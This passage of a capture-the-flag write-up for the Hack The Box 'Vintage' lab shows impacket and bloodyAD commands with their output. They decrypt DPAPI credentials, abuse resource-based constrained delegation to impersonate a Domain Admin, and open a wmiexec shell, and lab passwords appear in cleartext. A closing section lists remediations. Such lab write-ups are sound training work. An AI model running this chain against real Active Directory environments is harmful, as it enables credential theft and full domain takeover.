Guid : 4dbf04d8-529b-4b4c-b4ae-8e875e4fe847
Flags : 0 (0)
Policy : 0 (0)
MasterKeyLen: 00000088 (136)
BackupKeyLen: 00000068 (104)
CredHistLen : 00000000 (0)
DomainKeyLen: 00000174 (372)
Decrypted key with User Key (MD4 protected)
Decrypted key: 0x55d51b40d9aa74e8cdc44a6d24a25c96451449229739a1c9dd2bb50048b60a652b5330ff2635a511210209b28f81c3efe16b5aee3d84b5a1be3477a62e25989f
┌──(frodo㉿kali)-[~/hack-the-box/vintage]
└─$ impacket-dpapi masterkey -file 99cf41a3-a552-4cf7-a8d7-aca2d6f7339b -sid S-1-5-21-4024337825-2033394866-2055507597-1115 -password 'Zer0the0ne'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[MASTERKEYFILE]
Version : 2 (2)
Guid : 99cf41a3-a552-4cf7-a8d7-aca2d6f7339b
Flags : 0 (0)
Policy : 0 (0)
MasterKeyLen: 00000088 (136)
BackupKeyLen: 00000068 (104)
CredHistLen : 00000000 (0)
DomainKeyLen: 00000174 (372)
Decrypted key with User Key (MD4 protected)
Decrypted key: 0xf8901b2125dd10209da9f66562df2e68e89a48cd0278b48a37f510df01418e68b283c61707f3935662443d81c0d352f1bc8055523bf65b2d763191ecd44e525a
Decrypt the credential file
We will then decrypt the credential file using the decrypted master key.
┌──(frodo㉿kali)-[~/hack-the-box/vintage]
└─$ impacket-dpapi credential -file C4BB96844A5C9DD45D5B6A9859252BA6 -key 0xf8901b2125dd10209da9f66562df2e68e89a48cd0278b48a37f510df01418e68b283c61707f3935662443d81c0d352f1bc8055523bf65b2d763191ecd44e525a
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[CREDENTIAL]
LastWritten : 2024-06-07 15:08:23
Flags : 0x00000030 (CRED_FLAGS_REQUIRE_CONFIRMATION|CRED_FLAGS_WILDCARD_MATCH)
Persist : 0x00000003 (CRED_PERSIST_ENTERPRISE)
Type : 0x00000001 (CRED_TYPE_GENERIC)
Target : LegacyGeneric:target=admin_acc
Description :
Unknown :
Username : vintage\c.neri_adm
Unknown : Uncr4ck4bl3P4ssW0rd0312
Credentials found for c.nera_adm:
vintage.htb/c.neri_adm:'Uncr4ck4bl3P4ssW0rd0312'
Resource Based Constrained Delegation (RBCD) Abuse¶
Request TGT for c.neri_adm
┌──(frodo㉿kali)-[~/hack-the-box/vintage]
└─$ impacket-getTGT vintage.htb/c.neri_adm:'Uncr4ck4bl3P4ssW0rd0312'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in c.neri_adm.ccache
┌──(frodo㉿kali)-[~/hack-the-box/vintage]
└─$ export KRB5CCNAME=c.neri_adm.ccache
┌──(frodo㉿kali)-[~/hack-the-box/vintage]
└─$ bloodyAD --host dc01.vintage.htb --dc-ip 10.129.91.223 -d "VINTAGE.HTB" -u c.neri_adm -p 'Uncr4ck4bl3P4ssW0rd0312' -k add groupMember "DELEGATEDADMINS" "SVC_SQL"
[+] SVC_SQL added to DELEGATEDADMINS
Using c.neri's privileges, we will add a ServicePrincipalName (SPN) for svc_sql.
┌──(frodo㉿kali)-[~/hack-the-box/vintage]
└─$ impacket-getTGT vintage.htb/c.neri:'Zer0the0ne'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in c.neri.ccache
┌──(frodo㉿kali)-[~/hack-the-box/vintage]
└─$ export KRB5CCNAME=c.neri.ccache
┌──(frodo㉿kali)-[~/hack-the-box/vintage]
└─$ bloodyAD --host dc01.vintage.htb -d "VINTAGE.HTB" --dc-ip 10.129.91.223 -k set object "SVC_SQL" servicePrincipalName -v "cifs/danything"
[+] SVC_SQL's servicePrincipalName has been updated
When attempting to request a TGT for svc_sql, we encountered the following error:
SessionError: KDC_ERR_CLIENT_REVOKED (Client's credentials have been revoked)
This indicates that the svc_sql account is most likely disabled.
┌──(frodo㉿kali)-[~/hack-the-box/vintage]
└─$ impacket-getTGT vintage.htb/svc_sql:'Zer0the0ne'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
Now, let's enable the svc_sql account again to proceed with the attack.
bloodyAD --host dc01.vintage.htb -d vintage.htb -u 'gmsa01$' -k --dc-ip 10.129.91.223 remove uac svc_sql -f ACCOUNTDISABLE
Now, the svc_sql account is successfully enabled, and the request works as expected.
┌──(frodo㉿kali)-[~/hack-the-box/vintage]
└─$ bloodyAD --host dc01.vintage.htb -d vintage.htb -u 'gmsa01$' -k --dc-ip 10.129.91.223 remove uac svc_sql -f ACCOUNTDISABLE
[-] ['ACCOUNTDISABLE'] property flags removed from svc_sql's userAccountControl
┌──(frodo㉿kali)-[~/hack-the-box/vintage]
└─$ impacket-getTGT vintage.htb/svc_sql:'Zer0the0ne'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in svc_sql.ccache
┌──(frodo㉿kali)-[~/hack-the-box/vintage]
└─$ export KRB5CCNAME=svc_backup.ccache
──(frodo㉿kali)-[~/hack-the-box/vintage]
└─$ impacket-getST -spn 'cifs/dc01.vintage.htb' -impersonate L.BIANCHI_ADM -dc-ip dc01.vintage.htb -k -no-pass vintage.htb/svc_sql
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Impersonating L.BIANCHI_ADM
/usr/share/doc/python3-impacket/examples/getST.py:380: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).
now = datetime.datetime.utcnow()
/usr/share/doc/python3-impacket/examples/getST.py:477: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).
now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
[*] Requesting S4U2self
/usr/share/doc/python3-impacket/examples/getST.py:607: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).
now = datetime.datetime.utcnow()
/usr/share/doc/python3-impacket/examples/getST.py:659: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).
now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
[*] Requesting S4U2Proxy
[*] Saving ticket in L.BIANCHI_ADM@cifs_dc01.vintage.htb@VINTAGE.HTB.ccache
Since we now have the TGT for the Domain Admin L.BIANCHI_ADM, we will export it to the Kerberos cache. After that, we can use impacket-wmiexec to gain a shell on the target.
┌──(frodo㉿kali)-[~/hack-the-box/vintage]
└─$ export KRB5CCNAME=L.BIANCHI_ADM@cifs_dc01.vintage.htb@VINTAGE.HTB.ccache
┌──(frodo㉿kali)-[~/hack-the-box/vintage]
└─$ impacket-wmiexec vintage.htb/L.BIANCHI_ADM@dc01.vintage.htb -k -no-pass
Root Flag
Root flag can be found at C:\Users\Administrator\Desktop\root.txt.
Lessons Learned¶
1. Secure Pre-Created Computer Objects¶
Computer accounts pre-created with the userAccountControl attribute set to 4096 (representing a Workstation/Server) default to their hostname in lowercase as the password.
- Remediation: Avoid creating pre-created computer accounts without setting strong, random passwords. Audit Active Directory for computer objects matching userAccountControl=4096 and update their passwords or delete orphaned objects.
2. Restrict gMSA Password Read Permissions¶
The Domain Computers group had read access to the managed password of GMSA01$, allowing any compromised machine in the domain to extract the gMSA account's credentials.
- Remediation: Restrict the PrincipalsAllowedToRetrieveManagedPassword property on gMSA accounts to specific service hosts rather than broad groups like Domain Computers.
3. Cleartext Credentials in DPAPI¶
Administrative credentials for c.neri_adm were cached in C.Neri's DPAPI credential store.
- Remediation: Enforce credential isolation mechanisms (like Windows Defender Credential Guard) to prevent DPAPI caching of administrative credentials. Restrict administrative logins on Tier 2 workstations and enforce separate, non-overlapping accounts for normal and privileged tasks.
4. Hardening Against RBCD¶
Resource-Based Constrained Delegation allows users with modify access on a computer object to configure delegation rights to impersonate any user on that host.
- Remediation: Implement a strict tiering model where administrative privileges are partitioned. Audit computer object DACLs to ensure only authorized administrators can modify delegation attributes (msDS-AllowedToActOnBehalfOfOtherIdentity).
